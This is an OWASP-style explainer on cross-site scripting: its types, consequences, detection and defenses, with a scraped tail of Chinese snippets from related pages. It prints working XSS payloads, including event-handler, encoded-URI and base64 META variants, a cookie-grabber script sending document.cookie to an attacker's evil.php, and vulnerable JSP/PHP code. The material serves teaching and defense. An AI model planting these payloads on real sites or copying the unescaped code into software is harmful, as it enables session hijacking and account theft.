Cross-site Scripting (XSS)
Overview
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.
Description
Cross-Site Scripting (XSS) attacks occur when:
- Data enters a Web application through an untrusted source, most frequently a web request.
- The data is included in dynamic content that is sent to a web user without being validated for malicious code.
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.
Stored and Reflected XSS Attacks
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called DOM Based XSS that is discussed seperately here.
Stored XSS Attacks
Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.
Reflected XSS Attacks
Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server.
XSS Attack Consequences
The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM Based). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.
How to Determine If You Are Vulnerable
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.
How to Protect Yourself
The primary defenses against XSS are described in the OWASP XSS Prevention Cheat Sheet.
Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.
The OWASP ESAPI project has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the OWASP WebGoat Project training application has lessons on Cross-Site Scripting and data encoding.
Alternate XSS Syntax
XSS using Script in Attributes
XSS attacks may be conducted without using <script></script> tags. Other tags will do exacly the same thing, for example:
<body onload=alert('test1')>
or other attribites like: onmouseover, onerror.
onmouseover
<b onmouseover=alert('Wufff!')>click me!</b>
onerror
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
XSS using Script Via Encoded URI Schemes
If we need to hide against web application filters we may try to encode string characters, e.g.: a=A (UTF-8) and use it in IMG tag:
<IMG SRC=jAvascript:alert('test2')>
There are many different UTF-8 encoding notations what give us even more possibilities.
XSS using code encoding
We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
These (just a little modified by me) and others examples can be found on http://ha.ckers.org/xss.html, which is a true encyclopedia of the alternate XSS syntax attack.
Examples
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.
The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality.
Example 1
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.
<% String eid = request.getParameter("eid"); %> ... Employee ID: <%= eid %>
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.
Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.
Example 2
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.
<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next(); String name = rs.getString("name"); %> Employee Name: <%= name %>
As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:
- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.
- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
Attack Examples
Example 1 : Cookie Grabber
If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):
<SCRIPT type="text/javascript"> var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT>
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.
Error Page Example
Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error page. We may use the code below as an example to inform user about what specific page is missing:
<html> <body> <? php print "Not found: " . urldecode($_SERVER["REQUEST_URI"]); ?> </body> </html>
Let's see how it works:
http://testsite.test/file_which_not_exist
In response we get:
Not found: /file_which_not_exist
Now we will try to force the error page to include our code:
http://testsite.test/<script>alert("TEST");</script>
The result is:
Not found: / (but with JavaScript code <script>alert("TEST");</script>)
We have successfully injected the code, our XSS! What does it mean? For example, that we may use this flaw to try to steal a user's session cookie.
相关推荐
根据提供的文件信息,“xss attack test2”,我们可以深入探讨与XSS(跨站脚本攻击)相关的技术细节、防御措施以及测试方法等知识点。 ### 一、XSS攻击概述 XSS(Cross Site Scripting)攻击是一种常见的Web应用...
<script>alert('XSS Attack!'); ``` 当其他用户浏览此留言时,浏览器将执行这段JavaScript代码弹出警告框,这仅是最简单的XSS攻击形式之一。 #### 解决方案:XSS过滤机制 为了解决XSS问题,开发者需要采取多种策略...
当其他用户访问包含此评论的页面时,浏览器将会执行这段脚本,弹出警告框“XSS Attack!”。这是一个简单的例子,实际上攻击者可以执行更为复杂的脚本,比如窃取用户的Cookie信息。 #### 四、防御策略 针对XSS攻击...
Research and Implementation of Web Intrusion Detection System Based on SQL Injection and XSS Attack. Journal of Jiujiang University (Natural Science Edition), 2022(1), 1-10. 七、结语 面向SQL注入和...
This book is a practical guide that shows you the advantages of using Python for pentesting with the help of detailed code examples. We start by exploring the basics of networking ... and XSS attack.
string userInput = "<script>alert('XSS Attack');</script>"; string sanitizedInput = StringHelper.InputSanitize(userInput, 50); // 结果为 "alert('XSS Attack')" ``` **注意事项:** - 正则表达式的编写需...
$userContent = '<script>alert("XSS Attack!");</script>'; $cleanedContent = purify($userContent); ``` `purify` 函数会清除任何可能的恶意代码,并返回一个安全的 HTML 片段。 **4. 配置 Laravel Purifier** ...
攻击者可以提交如下评论:“<script>alert('XSS Attack');”。当其他用户查看包含此评论的文章时,浏览器会执行这段恶意脚本,弹出警告框,表明存在XSS漏洞。 **解决方案**: 1. **输入验证**:确保所有用户输入都...
例如,通过路径遍历攻击(如"../../../../cmd.exe")尝试访问服务器上的敏感文件,或者在查询参数中注入恶意脚本(如"<script>alert('XSS Attack')</script>")以执行跨站脚本(XSS)攻击。 HTTP请求方法也是攻击者...
const untrustedHtml = '<script>alert("XSS attack!");</script>'; this.safeHtml = this.sanitizer.bypassSecurityTrustHtml(untrustedHtml); } } ``` 在这个例子中,`bypassSecurityTrustHtml`方法被用来...
SecRule ARGS "@contains xss" "id:100001,phase:2,t:lowercase,t:trim,deny,status:403,msg:'Possible XSS attack detected.'" ``` 这条规则表示如果在请求参数中发现了疑似跨站脚本攻击(XSS)的字符串,则返回...
<script>alert('XSS Attack!'); ``` 4. **整数溢出/下溢**:当整数运算结果超出其表示范围时,会发生溢出或下溢。这可能导致计算错误,有时会被恶意利用。例如,以下Java代码中的溢出: ```java int a = Integer....
<script>alert('XSS Attack'); ``` 当其他用户浏览包含此评论的页面时,脚本将被执行。 **防范措施** 为了防范XSS攻击,可以采取以下措施: 1. **输入验证**:对所有用户输入进行验证,只允许特定类型的字符或...
- 3.7 "attackapi.pdf"可能介绍了攻击者如何利用API接口进行XSS攻击,这通常涉及未验证的用户输入和错误的数据处理。 - 6.4 "利用flash进行xss攻击剖析.pdf"可能讨论了Flash技术在XSS攻击中的角色,因为Flash曾经...
<script>alert('XSS Attack'); ``` 当其他用户浏览该页面时,这段恶意脚本将会被执行,弹出警告框。虽然这个例子的危害性较小,但更复杂的攻击可能涉及到窃取用户的敏感信息等。 **3. 解决方案** - **转义特殊...
...这是因为在Vue中,scoped属性的作用是让样式只作用于当前组件内的元素,它通过给组件内每个元素添加一个独一无二的data属性来实现,使得样式仅限于匹配元素。... 解决方案分为以下几种: ...尽管这是一种直接的方法,但...
Timing Attack是通过使用SLEEP(),BENCHMARK()等函数(MySql),使得结果返回的时间比平时要长,通过时间长短的变化,可以判断出注入语句是否执行成功。SQL注入的危害包括泄露数据、增删改数据、控制服务器以及...
7. **XSS(跨站脚本攻击)**:Shiro虽不直接处理用户界面,但输出到页面的数据应进行HTML编码,防止XSS注入。 8. **版本升级**:及时关注Apache Shiro的更新,升级到最新版本以修复已知安全漏洞。 **总结** 了解...
1. 自动化扫描:AttackApi具备自动化的API扫描功能,可以对指定的API接口进行全面的漏洞扫描,包括但不限于SQL注入、XSS攻击、权限绕过等常见安全威胁。 2. 漏洞分类与优先级:根据扫描结果,AttackApi会将发现的...
$user_input = "<script>alert('XSS Attack!');</script>"; safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); echo safe_output; ``` 在这个例子中,`<script>` 标签会被转换为 `<script>`,...